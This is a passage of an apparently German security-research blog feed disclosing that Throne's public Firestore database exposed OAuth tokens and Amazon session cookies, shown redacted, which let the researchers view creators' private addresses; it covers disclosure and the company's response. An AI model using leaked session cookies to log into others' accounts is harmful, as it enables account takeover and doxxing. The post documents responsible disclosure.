&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;state&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;hasIssue&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;reference&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;type&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;creator&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;              &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████████████&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████ ██████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;searchablePostcode&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;path&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;constants/gsheetsOAuthToken&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;access_token&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ya29.████████████████████████████████████████████████████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;expires_in&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;3599&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;token_type&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Bearer&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;scope&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://www.googleapis.com/auth/spreadsheets&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;expires_at&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;███████&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;refresh_token&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████████████████████████████████████████████████████████████████████████████&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;path&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;constants/trackedAmazonAccounts&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;trackedAmazonAccounts&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;cookie&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████████████████████████████████████████████████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;countryTld&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;co.uk&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Amazon UK&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Amazon FR&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;countryTld&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;fr&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;cookie&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████████████████████████████████████████████████████████&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Amazon IT&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;countryTld&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;it&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;cookie&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████████████████████████████████████████████████████████&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;countryTld&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;de&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;cookie&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;session-id=███████████████; ubid-acbde=███████████████; av-timezone=Europe/Berlin; csd-key=e████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████; sp-cdn=J4F7; lc-acbde=en_GB; session-token=████████████████████████████████████████████████████████████; x-acbde=\&amp;#34;████████████████████████████████████████████████████████████\&amp;#34;; at-acbde=████████████████████████████████████████████████████████████; sess-at-acbde=\&amp;#34;███████████████████████\&amp;#34;; sst-acbde=████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████; i18n-prefs=EUR; csm-hit=████████████████████████████████████████████████████████████&amp;amp;adb:adblk_yes; session-id-time=██████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Amazon DE&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;cookie&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████████████████████████████████████████████████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;countryTld&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;es&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Amazon ES&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Amazon US&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;countryTld&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;com&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;cookie&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████████████████████████████████████████████████████████&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;Die meisten dieser Zugangsdaten sind abgelaufen oder wir konnten nichts damit anfangen, weil uns weitere Informationen fehlen.&lt;sup id=&#34;fnref:7&#34;&gt;&lt;a href=&#34;#fn:7&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;7&lt;/a&gt;&lt;/sup&gt;
Doch unter den ausgegebenen Zugangsdaten waren auch Session-Cookies von Amazon.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;&lt;strong&gt;Angeleckte Kekse gibt man nicht weiter!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cookies sind eine Technologie, mit der Websiten ein Informationsschnipsel im Browser der Nutzer*innen speichern können.&lt;/p&gt;
&lt;p&gt;Zum Beispiel kann eine Website sagen: »Toll, du hast dich gerade mit deiner E-Mail-Adresse und deinem Passwort angemeldet. Damit du das nicht jedes mal wieder machen musst, bekommst du hier einen ganz besonderen Keks. Den darfst du niemandem weitergeben und wenn du mir den zeigst, weiß ich, wer du bist.«&lt;/p&gt;
&lt;p&gt;Wenn man 2-Faktor-Authentifizierung aktiviert hat&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;, merkt sich die Website auch anhand dieses Session-Cookies ob man sich gerade schon mit dem zweiten Faktor angemeldet hat und fragt nicht nochmals danach.
Sonst müsste man sich bei jedem Klick auf der Website nochmal mit dem zweiten Faktor authentifizieren.&lt;/p&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;Was sehr wichtig ist und ihr unbedingt überall machen solltet.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Kekse finden wir zwar gut, aber nicht diese Art – denn Throne &lt;del&gt;hat sie schon angeleckt&lt;/del&gt; sollte diese eigentlich für sich behalten.
Doch anstatt das zu tun, haben sie die Cookies öffentlich in die Datenbank geschrieben, sodass wir sie jetzt auch bei Amazon vorzeigen können – und somit direkt angemeldet sind.
Und so können wir uns auch die vorigen Bestellungen angucken – &lt;strong&gt;inklusive der eigentlich geheimen Adressen der onlinekreativen Unterhaltungsproduzierenden&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/throne/amazonorders.png&#34; alt=&#34;Redacted Screenshot einer Amazon-Bestellübersicht&#34;&gt;&lt;/p&gt;
&lt;p&gt;Throne hatte diese Cookies unter dem Namen &lt;code&gt;trackedAmazonAccounts&lt;/code&gt; gespeichert.
Daher vermuten wir, dass Throne die Cookies verwendet, um automatisiert nach dem Status der Bestellung zu schauen und den Beschenkten zu ermöglichen, die &lt;a href=&#34;https://jointhrone.zendesk.com/hc/en-us/articles/4406489454484-Can-I-get-tracking-for-my-shipment-&#34;&gt;Sendung zu verfolgen&lt;/a&gt;.
Doch das ist keine Ausrede, diese Cookies öffentlich zu machen.&lt;/p&gt;
&lt;h2 id=&#34;ding-dong&#34;&gt;Ding dong&lt;/h2&gt;
&lt;p&gt;Also haben wir das ganze in einem Report zusammengeschrieben und an Throne, die Berliner Datenschutzbehörde&lt;sup id=&#34;fnref:8&#34;&gt;&lt;a href=&#34;#fn:8&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;8&lt;/a&gt;&lt;/sup&gt;  und das CERT-Bund des BSI geschickt. Etwa 45 Minuten später hatten wir schon die Rückmeldung von Throne, dass die Lücke gestopft wurde.&lt;/p&gt;
&lt;p&gt;Das war für uns – obwohl wir ja oft mit Startups zu tun haben, die sich für ihre Geschwindigkeit rühmen – ungewohnt schnell 🏃👏.
Und auch sonst klangen die nächsten Schritte von Throne gut:
Die Cookies bei Amazon zurückrufen, sodass niemand sie mehr nutzen kann und versuchen zu überprüfen, ob noch jemand die Lücke ausgenutzt hat.
Wie gut sie das gemacht haben, dazu gleich mehr.&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;Zuerst hat Throne nach unserer Meldung noch eine Kleinigkeit getan, die wir uns immer von allen Websites wünschen, mit denen wir zu tun haben:
Sie haben eine &lt;a href=&#34;https://securitytxt.org&#34;&gt;security.txt&lt;/a&gt; eingerichtet.&lt;/p&gt;
&lt;p&gt;Das ist eine standardisierte Datei, um Ansprechpartner*innen für Sicherheitsangelegenheiten zu benennen.
Diese können Websitebetreibende veröffentlichen, damit Sicherheitsforscher*innen wissen, an wen sie eine Sicherheitslücke melden können.&lt;/p&gt;
&lt;p&gt;Warum es eine gute Idee ist, sowas immer zu veröffentlichen, haben wir &lt;a href=&#34;https://zerforschung.org/posts/rc3-2021/#schraubt-das-virtuelle-klingelschild-an&#34;&gt;hier&lt;/a&gt; erklärt.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id=&#34;lieber-vorsicht-als-nachsicht&#34;&gt;Lieber Vorsicht als Nachsicht&lt;/h2&gt;
&lt;p&gt;Doch leider müssen wir auch Kritik an Thrones öffentlichen Umgang mit der Lücke üben.
Zwar haben sie von sich aus einen &lt;a href=&#34;https://blog.throne.com/security-update-firestore-rules/&#34;&gt;Blogpost zu dem Vorfall veröffentlicht&lt;/a&gt; und diesen sogar in einem regelmäßigen Update an alle Creator erwähnt.
Jedoch spielen sie die Lücke und ihre Auswirkungen dort sehr herunter.&lt;/p&gt;
&lt;p&gt;Throne behauptet:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;we investigated if users were affected and if there was any risk to personal data. Using IP logs we discovered that there was no risk and no unknown party had viewed any data.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Wie genau Throne das festgestellt haben will, wissen wir nicht.
Denn nach unserer IP-Adresse oder anderen Identifikatoren wurden wir nicht gefragt.
Und selbst wenn sie alle Zugriffe genau zuordnen konnten – wir konnten auf die Daten zugreifen.&lt;/p&gt;
&lt;p&gt;Zwar sind wir vielleicht inzwischen keine »unknown party« mehr, schließlich haben wir uns bei Throne gemeldet.
Trotzdem sind wir nicht berechtigt und sollten solche privaten Daten nicht einsehen können.
Und weniger gutmeinende Akteure hätten mit diesen Daten einigen Schaden anrichten können.&lt;/p&gt;
&lt;h2 id=&#34;move-slow-genug-um-keine-menschen-zu-gefährden&#34;&gt;Move slow genug, um keine Menschen zu gefährden!&lt;/h2&gt;
&lt;p&gt;Außerdem gilt – auch wenn man Throne für die hohe Reaktionsgeschwindigkeit lobt:
Schnell auf eine Meldung zu reagieren ist nicht genug.
Denn wenn die Meldung kommt ist es schon zu spät.
&lt;em&gt;Ein&lt;/em&gt; solcher Fehler reicht, um viele Menschen zu gefährden.&lt;/p&gt;
&lt;p&gt;Startups arbeiten gerne nach dem Prinzip »move fast and break things«.
Bei privaten Daten ist das aber genau die falsche Herangehensweise.
Denn Sicherheit muss umfassend gedacht werden: dazu gehört eine durchdachte Softwarearchitektur ebenso wie Erfahrung mit den Ecken und Kanten der genutzten Frameworks.
Das alles kostet Geld und – bei Startups oft noch viel knapper – Zeit.&lt;/p&gt;
&lt;h2 id=&#34;heading&#34;&gt;🤝&lt;/h2&gt;
&lt;p&gt;Wir haben diese Lücke exklusiv zusammen mit techcrunch veröffentlicht.
Den Artikel findet ihr &lt;a href=&#34;https://techcrunch.com/2023/04/06/throne-security-bug-creators-address/&#34;&gt;hier&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;timeline&#34;&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;2023-03-29: Fund der Lücken&lt;/li&gt;
&lt;li&gt;2023-03-30: Report an Throne, Landesdatenschutzbeauftragte Berlin und CERTBund&lt;/li&gt;
&lt;li&gt;2023-03-30: Meldung, dass Throne unseren Report erhalten hat, kurzes Gespräch&lt;/li&gt;
&lt;li&gt;2023-03-30: Throne meldet, dass die Lücken gestopft wurden &amp;amp; weitere Schritte geplant sind&lt;/li&gt;
&lt;li&gt;2023-03-31: Throne veröffentlicht security.txt&lt;/li&gt;
&lt;li&gt;2023-04-05: Throne benachrichtigt ihre User&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;disclaimer&#34;&gt;Disclaimer&lt;/h2&gt;
&lt;p&gt;Zwei Zerforschis kennen einen der Gründer von Throne, hatten allerdings bis zum Entdecken der Lücke mehrere Jahre keinen Kontakt zu ihm.&lt;/p&gt;
&lt;p&gt;Nach dem Melden der Sicherheitslücke hat uns Throne etwas Werkzeug von unserer Amazon-Wunschliste gekauft.
Wir haben weder Throne noch irgendein anderes Unternehmen, bei dem wir Sicherheitslücken fanden, je um Geld oder Geschenke gebeten und werden das auch in Zukunft nicht tun.&lt;/p&gt;
&lt;p&gt;Beides hat weder Einfluss auf unsere aktuelle, noch auf eventuelle zukünftige Berichterstattung über Throne.&lt;/p&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://parkerhiggins.net/2016/01/earlier-amazon-backdoor-exposed-wishlist-mailing-addresses/&#34;&gt;https://parkerhiggins.net/2016/01/earlier-amazon-backdoor-exposed-wishlist-mailing-addresses/&lt;/a&gt;, schon etwas älter, in verschiedenen Foren finden sich aber auch neuere Berichte&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;TODO: Besseren Begriff finden, der nicht »Creator« ist&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:3&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://jointhrone.zendesk.com/hc/en-us/articles/4406704279572-What-fees-do-you-charge-&#34;&gt;https://jointhrone.zendesk.com/hc/en-us/articles/4406704279572-What-fees-do-you-charge-&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:4&#34;&gt;
&lt;p&gt;Aua! 👁️👈&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:5&#34;&gt;
&lt;p&gt;Ob das Feld &lt;code&gt;isUnderInvestigation&lt;/code&gt; für jeden Account öffentlich sein &lt;em&gt;muss&lt;/em&gt;, wissen wir allerdings nicht… 🤔&amp;#160;&lt;a href=&#34;#fnref:5&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:6&#34;&gt;
&lt;p&gt;Eigentlich seltsam, dass das gerade bei den Constants, also den konstanten, sich nicht ändernden Werten steht. Währungskurse ändern sich doch ständig?&amp;#160;&lt;a href=&#34;#fnref:6&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:7&#34;&gt;
&lt;p&gt;Zum Beispiel befindet sich dort ein API-Key für Google Spreadsheets. Soweit wir es verstanden haben, kann man damit aber nur etwas anfangen, wenn man eine dazu passende Dokumenten-ID kennt.&amp;#160;&lt;a href=&#34;#fnref:7&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:8&#34;&gt;
&lt;p&gt;Die Blue Makalu GmbH, Thrones deutsche Gesellschaft, sitzt in Berlin.&amp;#160;&lt;a href=&#34;#fnref:8&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>⚠️ Warning: do not use Hive Social 👉🐝👈</title>
      <link>https://zerforschung.org/posts/hive-en/</link>
      <pubDate>Wed, 30 Nov 2022 22:00:00 +0100</pubDate>
      
      <guid>https://zerforschung.org/posts/hive-en/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/hive/hive-header.jpg&#34; alt=&#34;Beekeeper opening a beehive, colorized, 2022&#34;&gt;&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;a href=&#34;https://zerforschung.org/posts/hive-de/&#34;&gt;Dieser Artikel ist auch auf deutsch erschienen.&lt;/a&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Update: The vulnerabilities are currently no longer exploitable because Hive deactivated their servers. &lt;a href=&#34;https://zerforschung.org/posts/hive-en/#update-1-poof-the-hive-is-gone&#34;&gt;More details&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Following the Twitter takeover, a number of services promising to be an alternative gained traction. One of those is &amp;ldquo;&lt;a href=&#34;https://hivesocial.app&#34;&gt;Hive Social&lt;/a&gt;&amp;rdquo;, which reached more than a million users in the last weeks.&lt;/p&gt;
